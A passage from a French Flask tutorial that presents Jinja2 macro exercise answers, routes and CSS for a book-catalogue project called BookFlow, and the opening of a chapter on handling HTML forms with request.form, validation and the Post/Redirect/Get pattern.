  {# Alternative avec join : #}
  <div class="genres">
      {{ genres | map('title') | join(' | ') }}
  </div>

CORRIGÉ 13.4 — Macro alert :

  {# macros/ui.html #}
  {% macro alert(message, type='info', dismissible=True) %}
  {#
    Génère une alerte Bootstrap-compatible.
    type : success, danger, warning, info
    dismissible : affiche un bouton de fermeture
  #}
  <div class="alert alert-{{ type }} {{ 'alert-dismissible' if dismissible else '' }}"
       role="alert">

      {# Icône selon le type #}
      {% if type == 'success' %}[OK]
      {% elif type == 'danger' %}[X]
      {% elif type == 'warning' %}[ATTENTION]
      {% else %}ℹ
      {% endif %}

      {{ message }}

      {% if dismissible %}
          <button type="button"
                  class="close-btn"
                  onclick="this.parentElement.remove()"
                  aria-label="Fermer">
              ×
          </button>
      {% endif %}
  </div>
  {% endmacro %}

  {# Utilisation : #}
  {% from "macros/ui.html" import alert %}
  {{ alert("Livre ajouté avec succès !", "success") }}
  {{ alert("Email déjà utilisé.", "danger") }}
  {{ alert("Vérifiez vos données.", "warning", dismissible=False) }}

CORRIGÉ 13.5 — Livres groupés par genre :

  {# Flask - Route #}
  from itertools import groupby

  @app.route('/catalogue')
  def catalogue():
      livres_tries = sorted(LIVRES, key=lambda l: l['genre'])
      livres_par_genre = {}
      for genre, groupe in groupby(livres_tries, key=lambda l: l['genre']):
          livres_par_genre[genre] = list(groupe)
      return render_template('livres/catalogue.html',
                             livres_par_genre=livres_par_genre)

  {# Template : catalogue.html #}
  {% extends "base.html" %}
  {% block contenu %}

  <h1>Catalogue par Genre</h1>

  {% for genre, livres_genre in livres_par_genre.items() %}
  <section class="genre-section">
      <h2>
          {{ genre | title }}
          <span class="count">({{ livres_genre | length }})</span>
      </h2>

      <div class="livres-grid">
      {% for livre in livres_genre %}
          <div class="livre-card">
              <h3>{{ livre.titre }}</h3>
              <p>{{ livre.auteur }}</p>
              <p>{{ livre.pages }} pages</p>
              {% if livre.disponible %}
                  <span class="badge-vert">Disponible</span>
              {% else %}
                  <span class="badge-rouge">Emprunté</span>
              {% endif %}
          </div>
      {% endfor %}
      </div>
  </section>
  {% endfor %}

  {% endblock %}

CORRIGÉ 13.7 — Macros formulaire complètes :

  {# app/templates/macros/forms.html #}

  {% macro input_text(label, name, value='', placeholder='', required=False, erreur=None, type='text') %}
  <div class="form-group {{ 'has-error' if erreur else '' }}">
      <label for="{{ name }}">
          {{ label }}{% if required %} <span class="required">*</span>{% endif %}
      </label>
      <input
          type="{{ type }}"
          id="{{ name }}"
          name="{{ name }}"
          value="{{ value | e }}"
          placeholder="{{ placeholder }}"
          class="form-control {{ 'is-invalid' if erreur else '' }}"
          {% if required %}required{% endif %}
      >
      {% if erreur %}
          <p class="error-text">{{ erreur }}</p>
      {% endif %}
  </div>
  {% endmacro %}

  {# Email et password utilisent input_text avec le bon type #}
  {% macro input_email(label, name, value='', required=False, erreur=None) %}
      {{ input_text(label, name, value, 'votre@email.com', required, erreur, type='email') }}
  {% endmacro %}

  {% macro input_password(label, name, required=False, erreur=None) %}
      {{ input_text(label, name, '', '••••••••', required, erreur, type='password') }}
  {% endmacro %}

  {% macro textarea(label, name, value='', rows=4, required=False, erreur=None) %}
  <div class="form-group {{ 'has-error' if erreur else '' }}">
      <label for="{{ name }}">
          {{ label }}{% if required %} <span class="required">*</span>{% endif %}
      </label>
      <textarea
          id="{{ name }}"
          name="{{ name }}"
          rows="{{ rows }}"
          class="form-control {{ 'is-invalid' if erreur else '' }}"
          {% if required %}required{% endif %}
      >{{ value | e }}</textarea>
      {% if erreur %}
          <p class="error-text">{{ erreur }}</p>
      {% endif %}
  </div>
  {% endmacro %}

  {% macro select(label, name, options, selected='', required=False, erreur=None) %}
  {#
    options : liste de tuples (valeur, label) ou liste de strings
  #}
  <div class="form-group {{ 'has-error' if erreur else '' }}">
      <label for="{{ name }}">
          {{ label }}{% if required %} <span class="required">*</span>{% endif %}
      </label>
      <select
          id="{{ name }}"
          name="{{ name }}"
          class="form-control {{ 'is-invalid' if erreur else '' }}"
          {% if required %}required{% endif %}
      >
          <option value="">-- Choisir --</option>
          {% for option in options %}
              {% if option is string %}
                  <option value="{{ option }}"
                      {{ 'selected' if option == selected else '' }}>
                      {{ option | title }}
                  </option>
              {% else %}
                  {# option est un tuple (valeur, label) #}
                  <option value="{{ option[0] }}"
                      {{ 'selected' if option[0] == selected else '' }}>
                      {{ option[1] }}
                  </option>
              {% endif %}
          {% endfor %}
      </select>
      {% if erreur %}
          <p class="error-text">{{ erreur }}</p>
      {% endif %}
  </div>
  {% endmacro %}

  {% macro checkbox(label, name, checked=False, value='1') %}
  <div class="form-group form-check">
      <label class="check-label">
          <input
              type="checkbox"
              id="{{ name }}"
              name="{{ name }}"
              value="{{ value }}"
              class="form-check-input"
              {{ 'checked' if checked else '' }}
          >
          {{ label }}
      </label>
  </div>
  {% endmacro %}

  {% macro radio_group(label, name, options, selected='') %}
  {# options : liste de tuples (valeur, label) #}
  <div class="form-group">
      <p class="group-label">{{ label }}</p>
      {% for val, lbl in options %}
      <label class="radio-label">
          <input
              type="radio"
              name="{{ name }}"
              value="{{ val }}"
              {{ 'checked' if val == selected else '' }}
          >
          {{ lbl }}
      </label>
      {% endfor %}
  </div>
  {% endmacro %}

  {% macro submit(texte='Envoyer', class='btn-primary') %}
  <div class="form-actions">
      <button type="submit" class="{{ class }}">{{ texte }}</button>
  </div>
  {% endmacro %}

  {# Exemple d'utilisation dans un template #}
  {#
  {% from "macros/forms.html" import input_text, input_email, input_password,
                                       textarea, select, checkbox, radio_group, submit %}

  <form method="POST">
      {{ input_text('Titre', 'titre', value=livre.titre, required=True, erreur=erreurs.get('titre')) }}
      {{ input_email('Email', 'email', required=True) }}
      {{ input_password('Mot de passe', 'password', required=True) }}
      {{ textarea('Description', 'description', rows=6) }}
      {{ select('Genre', 'genre', genres_disponibles, selected=livre.genre) }}
      {{ checkbox('Disponible', 'disponible', checked=livre.disponible) }}
      {{ radio_group('Type', 'type', [('papier', 'Livre papier'), ('ebook', 'Ebook')]) }}
      {{ submit('Enregistrer') }}
  </form>
  #}


╔══════════════════════════════════════════════════════════════════════════════════════╗
║                 [OBJECTIF] PROJET FIL ROUGE — BOOKFLOW WEB INTERFACE                         ║
║              Interface HTML complète du catalogue avec Jinja2                        ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  OBJECTIF DE CETTE ÉTAPE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

On ajoute à BookFlow une interface web HTML complète :
  [OK] Page d'accueil avec statistiques
  [OK] Catalogue avec filtres et pagination
  [OK] Page de détail d'un livre
  [OK] Formulaire d'ajout/modification
  [OK] Template de base avec navigation
  [OK] Pages d'erreur 404/500
  [OK] CSS de base

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  ROUTES FLASK POUR L'INTERFACE WEB
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/routes/pages_web.py
  from flask import Blueprint, render_template, request, redirect, url_for, flash

  web_bp = Blueprint('web', __name__)

  # Données fictives (sera remplacé par SQLAlchemy)
  LIVRES = [
      {"id": 1, "titre": "Dune", "auteur": "Frank Herbert",
       "pages": 900, "genre": "science-fiction", "disponible": True,
       "note": 4.8, "isbn": "9780441013593",
       "description": "Paul Atréides, jeune héritier d'une noble famille..."},
      {"id": 2, "titre": "Le Hobbit", "auteur": "J.R.R. Tolkien",
       "pages": 310, "genre": "fantasy", "disponible": True,
       "note": 4.7, "isbn": "9782070612888",
       "description": "Bilbo le hobbit vit une existence tranquille..."},
      {"id": 3, "titre": "1984", "auteur": "George Orwell",
       "pages": 328, "genre": "dystopie", "disponible": False,
       "note": 4.6, "isbn": "9782072762093",
       "description": "Dans un futur totalitaire, Big Brother surveille..."},
      {"id": 4, "titre": "Foundation", "auteur": "Isaac Asimov",
       "pages": 255, "genre": "science-fiction", "disponible": True,
       "note": 4.5, "isbn": "9780553293357",
       "description": "Hari Seldon développe la psychohistoire..."},
  ]

  GENRES = list(set(l['genre'] for l in LIVRES))

  @web_bp.route('/')
  def index():
      stats = {
          'total_livres': len(LIVRES),
          'disponibles': sum(1 for l in LIVRES if l['disponible']),
          'genres': len(GENRES),
          'membres': 42  # fictif
      }
      nouveautes = LIVRES[:3]  # 3 premiers livres
      return render_template('index.html', stats=stats, nouveautes=nouveautes)

  @web_bp.route('/livres')
  def liste_livres():
      # Filtres
      genre = request.args.get('genre', '')
      q = request.args.get('q', '').strip()
      disponible_str = request.args.get('disponible', '')
      page = request.args.get('page', 1, type=int)
      limit = 6

      # Filtrage
      resultats = LIVRES.copy()
      if genre:
          resultats = [l for l in resultats if l['genre'] == genre]
      if q:
          q_lower = q.lower()
          resultats = [l for l in resultats
                       if q_lower in l['titre'].lower()
                       or q_lower in l['auteur'].lower()]
      if disponible_str == 'true':
          resultats = [l for l in resultats if l['disponible']]
      elif disponible_str == 'false':
          resultats = [l for l in resultats if not l['disponible']]

      # Pagination
      total = len(resultats)
      debut = (page - 1) * limit
      livres_page = resultats[debut:debut + limit]

      meta = {
          'total': total,
          'page': page,
          'limit': limit,
          'pages': max(1, (total + limit - 1) // limit),
          'has_prev': page > 1,
          'has_next': debut + limit < total
      }
      filtres = {'genre': genre, 'q': q, 'disponible': disponible_str}

      return render_template(
          'livres/liste.html',
          livres=livres_page,
          meta=meta,
          filtres=filtres,
          genres_disponibles=GENRES
      )

  @web_bp.route('/livres/<int:livre_id>')
  def detail_livre(livre_id):
      livre = next((l for l in LIVRES if l['id'] == livre_id), None)
      if not livre:
          from flask import abort
          abort(404)

      # Livres similaires (même genre)
      similaires = [
          l for l in LIVRES
          if l['genre'] == livre['genre'] and l['id'] != livre_id
      ][:3]

      return render_template('livres/detail.html', livre=livre, similaires=similaires)

  @web_bp.route('/livres/nouveau', methods=['GET', 'POST'])
  def nouveau_livre():
      erreurs = {}

      if request.method == 'POST':
          titre = request.form.get('titre', '').strip()
          auteur = request.form.get('auteur', '').strip()
          pages_str = request.form.get('pages', '0')
          genre = request.form.get('genre', '')

          # Validation
          if not titre:
              erreurs['titre'] = "Le titre est obligatoire"
          if not auteur:
              erreurs['auteur'] = "L'auteur est obligatoire"
          try:
              pages = int(pages_str) if pages_str else 0
              if pages < 0:
                  erreurs['pages'] = "Les pages doivent être positives"
          except ValueError:
              erreurs['pages'] = "Nombre entier requis"
              pages = 0

          if not erreurs:
              nouveau = {
                  "id": max(l['id'] for l in LIVRES) + 1,
                  "titre": titre, "auteur": auteur,
                  "pages": pages, "genre": genre,
                  "disponible": True, "note": 0,
                  "description": request.form.get('description', '')
              }
              LIVRES.append(nouveau)
              flash(f"Le livre « {titre} » a été ajouté avec succès !", "success")
              return redirect(url_for('web.liste_livres'))

      return render_template(
          'livres/formulaire.html',
          livre=None,
          erreurs=erreurs,
          genres_disponibles=GENRES
      )

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  CSS DE BASE (static/css/style.css)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  /* static/css/style.css */

  /* Variables CSS */
  :root {
      --primary: #2563eb;
      --primary-dark: #1d4ed8;
      --success: #16a34a;
      --danger: #dc2626;
      --warning: #d97706;
      --bg: #f8fafc;
      --surface: #ffffff;
      --border: #e2e8f0;
      --text: #1e293b;
      --text-muted: #64748b;
      --radius: 8px;
      --shadow: 0 1px 3px rgba(0,0,0,0.1);
  }

  * { box-sizing: border-box; margin: 0; padding: 0; }

  body {
      font-family: 'Segoe UI', system-ui, sans-serif;
      background: var(--bg);
      color: var(--text);
      line-height: 1.6;
  }

  /* Navigation */
  .navbar {
      background: var(--surface);
      border-bottom: 1px solid var(--border);
      padding: 1rem 2rem;
      display: flex;
      align-items: center;
      justify-content: space-between;
      box-shadow: var(--shadow);
      position: sticky; top: 0; z-index: 100;
  }
  .nav-brand a {
      font-size: 1.3rem; font-weight: 700;
      color: var(--primary); text-decoration: none;
  }
  .nav-links {
      list-style: none; display: flex; gap: 1.5rem; align-items: center;
  }
  .nav-links a {
      color: var(--text-muted); text-decoration: none;
      font-weight: 500; transition: color 0.2s;
  }
  .nav-links a:hover { color: var(--primary); }

  /* Container */
  .container { max-width: 1200px; margin: 0 auto; padding: 2rem; }
  main.container { min-height: calc(100vh - 130px); }

  /* Boutons */
  .btn-primary {
      background: var(--primary); color: white;
      padding: 0.6rem 1.2rem; border: none; border-radius: var(--radius);
      font-weight: 600; cursor: pointer; text-decoration: none;
      display: inline-block; transition: background 0.2s;
  }
  .btn-primary:hover { background: var(--primary-dark); }
  .btn-secondary {
      background: transparent; color: var(--text);
      border: 1px solid var(--border); padding: 0.6rem 1.2rem;
      border-radius: var(--radius); text-decoration: none;
      display: inline-block; font-weight: 500;
  }
  .btn-disabled { opacity: 0.5; cursor: not-allowed; }

  /* Grille de livres */
  .livres-grid {
      display: grid;
      grid-template-columns: repeat(auto-fill, minmax(260px, 1fr));
      gap: 1.5rem; margin: 1.5rem 0;
  }
  .livre-card {
      background: var(--surface);
      border: 1px solid var(--border);
      border-radius: var(--radius);
      padding: 1.5rem;
      box-shadow: var(--shadow);
      transition: transform 0.2s, box-shadow 0.2s;
  }
  .livre-card:hover {
      transform: translateY(-2px);
      box-shadow: 0 4px 12px rgba(0,0,0,0.15);
  }
  .livre-card.indisponible { opacity: 0.75; }
  .livre-titre { font-size: 1.1rem; margin: 0.5rem 0; }
  .livre-titre a { color: var(--text); text-decoration: none; }
  .livre-titre a:hover { color: var(--primary); }
  .livre-auteur { color: var(--text-muted); font-size: 0.9rem; }

  /* Badges */
  .badge {
      padding: 0.2rem 0.6rem; border-radius: 20px;
      font-size: 0.8rem; font-weight: 600;
  }
  .disponible { background: #dcfce7; color: var(--success); }
  .indisponible { background: #fee2e2; color: var(--danger); }

  /* Alertes flash */
  .flash-messages { padding: 0 2rem; }
  .alert {
      padding: 0.8rem 1.2rem; margin: 0.5rem 0;
      border-radius: var(--radius); display: flex;
      justify-content: space-between; align-items: center;
  }
  .alert-success { background: #dcfce7; color: var(--success); border: 1px solid #86efac; }
  .alert-error   { background: #fee2e2; color: var(--danger); border: 1px solid #fca5a5; }
  .alert-warning { background: #fef9c3; color: var(--warning); border: 1px solid #fde047; }
  .alert-info    { background: #dbeafe; color: var(--primary); border: 1px solid #93c5fd; }
  .close-btn { background: none; border: none; cursor: pointer; font-size: 1.2rem; }

  /* Formulaires */
  .form-group { margin-bottom: 1.2rem; }
  .form-group label { display: block; font-weight: 600; margin-bottom: 0.3rem; }
  .form-control {
      width: 100%; padding: 0.6rem 0.9rem;
      border: 1px solid var(--border); border-radius: var(--radius);
      font-size: 1rem; transition: border-color 0.2s;
  }
  .form-control:focus { outline: none; border-color: var(--primary); }
  .is-invalid { border-color: var(--danger); }
  .error-text { color: var(--danger); font-size: 0.85rem; margin-top: 0.2rem; }
  .required { color: var(--danger); }

  /* Pagination */
  .pagination {
      display: flex; gap: 0.5rem; justify-content: center; margin: 2rem 0;
  }
  .btn-page {
      padding: 0.4rem 0.8rem; border: 1px solid var(--border);
      border-radius: var(--radius); text-decoration: none; color: var(--text);
      transition: all 0.2s;
  }
  .btn-page.active {
      background: var(--primary); color: white; border-color: var(--primary);
  }
  .btn-page.disabled { opacity: 0.4; cursor: not-allowed; pointer-events: none; }

  /* Footer */
  .footer {
      background: var(--surface); border-top: 1px solid var(--border);
      padding: 1.5rem 2rem; text-align: center; color: var(--text-muted);
      font-size: 0.9rem;
  }

  /* Filtres */
  .filtres {
      display: flex; gap: 1rem; flex-wrap: wrap;
      padding: 1rem; background: var(--surface);
      border: 1px solid var(--border); border-radius: var(--radius);
      margin: 1rem 0;
  }
  .filtres input, .filtres select {
      flex: 1; min-width: 150px; padding: 0.5rem 0.8rem;
      border: 1px solid var(--border); border-radius: var(--radius);
  }

  /* Page d'erreur */
  .error-page {
      text-align: center; padding: 5rem 2rem;
  }
  .error-code {
      font-size: 8rem; font-weight: 900; color: var(--border);
      line-height: 1;
  }

  /* Hero */
  .hero {
      text-align: center; padding: 4rem 2rem;
      background: linear-gradient(135deg, #dbeafe 0%, #ede9fe 100%);
      border-radius: var(--radius); margin-bottom: 2rem;
  }
  .hero h1 { font-size: 2.5rem; margin-bottom: 1rem; }

  /* Stats */
  .stats {
      display: grid; grid-template-columns: repeat(auto-fit, minmax(150px, 1fr));
      gap: 1rem; margin: 2rem 0;
  }
  .stat-card {
      background: var(--surface); border: 1px solid var(--border);
      border-radius: var(--radius); padding: 1.5rem; text-align: center;
  }
  .stat-nombre { display: block; font-size: 2.5rem; font-weight: 700; color: var(--primary); }
  .stat-label  { color: var(--text-muted); font-size: 0.9rem; }


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  FIN DE LA PARTIE 3 — TEMPLATES & FRONTEND

  [DOCS] Tu as appris :
     -> Jinja2 : fonctionnement interne, auto-escape, render_template
     -> Héritage de templates : base.html, blocs, extends, super()
     -> Include et partials : réutilisation de morceaux de templates
     -> Flash messages : notifications temporaires après actions
     -> Variables Jinja2 : accès aux données, context_processor
     -> Filtres built-in : upper, title, truncate, sort, selectattr, join...
     -> Filtres personnalisés : @app.template_filter
     -> Boucles for : loop.index, loop.first, loop.last, loop.cycle
     -> Conditions if : tests Jinja2, opérateurs, expressions ternaires
     -> Macros : composants HTML réutilisables avec paramètres
     -> BookFlow Interface Web : catalogue complet avec filtres, pagination et CSS

  -> Prochaine étape : Partie 4 — Formulaires (Flask-WTF, validation)
  -> Ou saute à la Partie 5 si tu veux les bases de données directement

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
              Flask Master Guide © 2024 — Guide Complet Génie Logiciel
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

╔══════════════════════════════════════════════════════════════════════════════════════╗
║                 FLASK MASTER GUIDE — PARTIE 4 : FORMULAIRES                          ║
║                 Flask-WTF, validation, CSRF et gestion des données                   ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

Partie         : 4 / 20
Chapitres      : 14 -> 16
Prérequis      : Parties 1, 2 et 3 (HTTP, Flask, routing, templates Jinja2)
Projet fil     : BookFlow — Formulaires sécurisés (login, création de livres, profil)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
                          TABLE DES MATIÈRES — PARTIE 4
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  CHAPITRE 14 — Formulaires HTML et traitement manuel avec Flask
  CHAPITRE 15 — Flask-WTF : formulaires sécurisés et orientés objet
  CHAPITRE 16 — Validation avancée, messages d'erreur et upload de fichiers

  PROJET FIL ROUGE — BookFlow : tous les formulaires du projet

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━


╔══════════════════════════════════════════════════════════════════════════════════════╗
║             CHAPITRE 14 — FORMULAIRES HTML ET TRAITEMENT MANUEL AVEC FLASK           ║
║              Comprendre les bases avant d'utiliser Flask-WTF                         ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  INTRODUCTION PÉDAGOGIQUE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

QU'EST-CE QU'UN FORMULAIRE HTML ?
───────────────────────────────────
Un formulaire HTML est le mécanisme principal par lequel les utilisateurs
envoient des données à un serveur web. Quand tu remplis un formulaire de
connexion, tu utilises un formulaire HTML.

POURQUOI C'EST FONDAMENTAL ?
-> Toute interaction utilisateur passe par les formulaires :
  inscription, connexion, création de contenu, recherche, commandes...
-> Les formulaires sont une cible privilégiée des attaques (XSS, CSRF, injection)
-> La validation des données est CRITIQUE pour la sécurité

COMMENT UN FORMULAIRE FONCTIONNE :

  ┌──────────────────────────────────────────────────────────────────┐
  │                   CYCLE FORMULAIRE HTTP                          │
  └──────────────────────────────────────────────────────────────────┘

  1. AFFICHAGE : GET /livres/nouveau
     Flask retourne le HTML du formulaire vide

  2. SAISIE : L'utilisateur remplit les champs

  3. ENVOI : POST /livres/nouveau
     Le navigateur encode les données et les envoie

  4. TRAITEMENT : Flask reçoit et valide les données
     -> Si valide    -> créer en BDD -> redirect -> page succès
     -> Si invalide  -> réafficher le formulaire avec erreurs (PRG pattern)

  5. REDIRECTION (Pattern PRG — Post/Redirect/Get) :
     -> Après un POST réussi, TOUJOURS rediriger (redirect)
     -> Évite la soumission multiple si l'utilisateur rafraîchit la page


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  LES MÉTHODES D'ENCODAGE DES FORMULAIRES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

L'attribut enctype du formulaire définit comment les données sont encodées.

ENCODAGES DISPONIBLES :

  1. application/x-www-form-urlencoded (DÉFAUT)
     ──────────────────────────────────────────
     -> Données encodées comme une query string
     -> Ex: titre=Dune&auteur=Herbert&pages=900
     -> Utilisé pour la plupart des formulaires texte
     -> En Flask : request.form

  2. multipart/form-data
     ───────────────────
     -> Nécessaire pour l'upload de fichiers
     -> Les données sont divisées en "parts" séparées
     -> En Flask : request.form (texte) + request.files (fichiers)
     -> OBLIGATOIRE si le formulaire contient <input type="file">

  3. text/plain
     ──────────
     -> Utilisé rarement (débogage)
     -> Non recommandé pour les API

EXEMPLE HTML :

  <!-- Formulaire texte (enctype par défaut) -->
  <form method="POST" action="/livres">
      <input type="text" name="titre">
      <button type="submit">Envoyer</button>
  </form>

  <!-- Formulaire avec upload de fichier -->
  <form method="POST" action="/livres" enctype="multipart/form-data">
      <input type="text" name="titre">
      <input type="file" name="couverture">
      <button type="submit">Envoyer</button>
  </form>


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  TRAITEMENT MANUEL DES FORMULAIRES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Sans Flask-WTF, on traite les formulaires manuellement avec request.form.

FORMULAIRE HTML COMPLET :

  <!-- templates/livres/formulaire_simple.html -->
  <!DOCTYPE html>
  <html lang="fr">
  <head><meta charset="UTF-8"><title>Ajouter un livre</title></head>
  <body>

  <h1>Ajouter un livre</h1>

  <!-- Affichage des erreurs globales -->
  {% if erreur_global %}
      <div class="alert-error">{{ erreur_global }}</div>
  {% endif %}

  <form method="POST" action="/livres/nouveau">
      <!-- Champ titre -->
      <div class="form-group">
          <label for="titre">Titre *</label>
          <input
              type="text"
              id="titre"
              name="titre"
              value="{{ form_data.get('titre', '') }}"
              required
              maxlength="200"
          >
          {% if erreurs.titre %}
              <span class="erreur">{{ erreurs.titre }}</span>
          {% endif %}
      </div>

      <!-- Champ auteur -->
      <div class="form-group">
          <label for="auteur">Auteur *</label>
          <input
              type="text"
              id="auteur"
              name="auteur"
              value="{{ form_data.get('auteur', '') }}"
              required
          >
          {% if erreurs.auteur %}
              <span class="erreur">{{ erreurs.auteur }}</span>
          {% endif %}
      </div>

      <!-- Champ pages -->
      <div class="form-group">
          <label for="pages">Nombre de pages</label>
          <input
              type="number"
              id="pages"
              name="pages"
              value="{{ form_data.get('pages', '') }}"
              min="1"
              max="50000"
          >
          {% if erreurs.pages %}
              <span class="erreur">{{ erreurs.pages }}</span>
          {% endif %}
      </div>

      <!-- Champ genre (select) -->
      <div class="form-group">
          <label for="genre">Genre</label>
          <select id="genre" name="genre">
              <option value="">-- Choisir --</option>
              {% for genre in genres_disponibles %}
              <option value="{{ genre }}"
                  {{ 'selected' if form_data.get('genre') == genre else '' }}>
                  {{ genre | title }}
              </option>
              {% endfor %}
          </select>
      </div>

      <!-- Champ description (textarea) -->
      <div class="form-group">
          <label for="description">Description</label>
          <textarea id="description" name="description" rows="4">
              {{ form_data.get('description', '') }}
          </textarea>
      </div>

      <!-- Champ disponible (checkbox) -->
      <div class="form-group">
          <label>
              <input type="checkbox" name="disponible" value="1"
                  {{ 'checked' if form_data.get('disponible') else '' }}>
              Disponible à l'emprunt
          </label>
      </div>

      <button type="submit">Ajouter le livre</button>
      <a href="/livres">Annuler</a>
  </form>
  </body>
  </html>

ROUTE FLASK POUR CE FORMULAIRE :

  from flask import Flask, request, redirect, url_for, render_template, flash

  app = Flask(__name__)
  app.secret_key = 'bookflow-secret-key'  # Requis pour flash messages

  GENRES = ['science-fiction', 'fantasy', 'dystopie', 'policier', 'autre']
  LIVRES = []

  @app.route('/livres/nouveau', methods=['GET', 'POST'])
  def nouveau_livre():
      erreurs = {}
      form_data = {}

      if request.method == 'POST':
          # ──── RÉCUPÉRER LES DONNÉES ────
          # request.form est un ImmutableMultiDict
          # .get() retourne None si le champ est absent
          # .get('champ', 'defaut') retourne la valeur par défaut si absent

          titre = request.form.get('titre', '').strip()
          auteur = request.form.get('auteur', '').strip()
          pages_str = request.form.get('pages', '').strip()
          genre = request.form.get('genre', '').strip()
          description = request.form.get('description', '').strip()
          # Les checkboxes : présent dans form seulement si coché
          disponible = 'disponible' in request.form

          # Conserver les données pour réaffichage si erreur
          form_data = request.form.to_dict()

          # ──── VALIDATION ────
          if not titre:
              erreurs['titre'] = "Le titre est obligatoire"
          elif len(titre) > 200:
              erreurs['titre'] = f"Maximum 200 caractères (actuel: {len(titre)})"

          if not auteur:
              erreurs['auteur'] = "L'auteur est obligatoire"
          elif len(auteur) > 100:
              erreurs['auteur'] = "Maximum 100 caractères"

          if pages_str:
              try:
                  pages = int(pages_str)
                  if pages < 1:
                      erreurs['pages'] = "Le nombre de pages doit être positif"
                  elif pages > 50000:
                      erreurs['pages'] = "Valeur irréaliste (max: 50 000)"
              except ValueError:
                  erreurs['pages'] = "Entier requis"
          else:
              pages = 0

          if genre and genre not in GENRES:
              erreurs['genre'] = f"Genre invalide"

          # ──── SI PAS D'ERREURS : CRÉER LE LIVRE ────
          if not erreurs:
              nouveau = {
                  'id': len(LIVRES) + 1,
                  'titre': titre,
                  'auteur': auteur,
                  'pages': pages,
                  'genre': genre or 'autre',
                  'description': description,
                  'disponible': disponible
              }
              LIVRES.append(nouveau)

              # Flash message de succès
              flash(f'Livre « {titre} » ajouté avec succès !', 'success')

              # * PRG Pattern : rediriger après POST réussi
              return redirect(url_for('liste_livres'))

          # Si erreurs -> réafficher le formulaire avec les erreurs

      # Afficher le formulaire (GET) ou réafficher avec erreurs (POST invalide)
      return render_template(
          'livres/formulaire_simple.html',
          erreurs=erreurs,
          form_data=form_data,
          genres_disponibles=GENRES
      )

  @app.route('/livres')
  def liste_livres():
      return render_template('livres/liste.html', livres=LIVRES)


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  ACCÉDER AUX DONNÉES DE FORMULAIRE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

RÉFÉRENCE COMPLÈTE DE request.form :

  from flask import request

  # ─── CHAMPS SIMPLES ───
  valeur = request.form.get('nom_champ')
  # -> None si absent, string sinon

  valeur = request.form.get('nom_champ', 'defaut')
  # -> 'defaut' si absent

  valeur = request.form.get('age', type=int)
  # -> Convertit en int, None si absent ou non convertible

  # ─── CHAMPS MULTI-VALEUR (checkboxes multiples, multi-select) ───
  # <input type="checkbox" name="genres" value="fantasy">
  # <input type="checkbox" name="genres" value="sci-fi">
  genres = request.form.getlist('genres')
  # -> ['fantasy', 'sci-fi'] si les deux sont cochés
  # -> [] si aucun coché

  # ─── CHECKBOX SIMPLE ───
  # <input type="checkbox" name="disponible">
  # Si coché : 'disponible' est dans request.form
  # Si non coché : 'disponible' est ABSENT de request.form
  disponible = 'disponible' in request.form
  # -> True si coché, False sinon

  # ─── TOUS LES CHAMPS ───
  tous = request.form.to_dict()
  # -> {'titre': 'Dune', 'auteur': 'Herbert', ...}
  # [ATTENTION] Ne prend que la première valeur pour les multi-valeur

  tous_multi = request.form.to_dict(flat=False)
  # -> {'genres': ['fantasy', 'sci-fi'], 'titre': ['Dune']}

  # ─── VÉRIFIER SI UN CHAMP EXISTE ───
  if 'titre' in request.form:
      print("Le champ titre est présent")


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  LE PATTERN PRG (POST/REDIRECT/GET)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Le pattern PRG est une bonne pratique fondamentale des formulaires web.

PROBLÈME SANS PRG :
  1. L'utilisateur soumet le formulaire (POST)
  2. Le serveur traite et retourne la page de succès
  3. L'utilisateur rafraîchit la page (F5)
  4. Le navigateur redemande : "Renvoyer les données POST ?"
  5. Le livre est créé en double ! [X]

SOLUTION AVEC PRG :
  1. L'utilisateur soumet le formulaire (POST)
  2. Le serveur traite et REDIRIGE (302 -> GET /livres)
  3. Le navigateur fait un GET /livres
  4. L'utilisateur rafraîchit -> simple GET /livres, pas de double soumission [OK]

IMPLÉMENTATION :

  @app.route('/livres/nouveau', methods=['GET', 'POST'])
  def nouveau_livre():
      if request.method == 'POST':
          # ... traiter les données ...

          if not erreurs:
              # ... créer en BDD ...
              flash('Livre créé !', 'success')

              # * PRG : REDIRECT après POST réussi
              return redirect(url_for('liste_livres'))
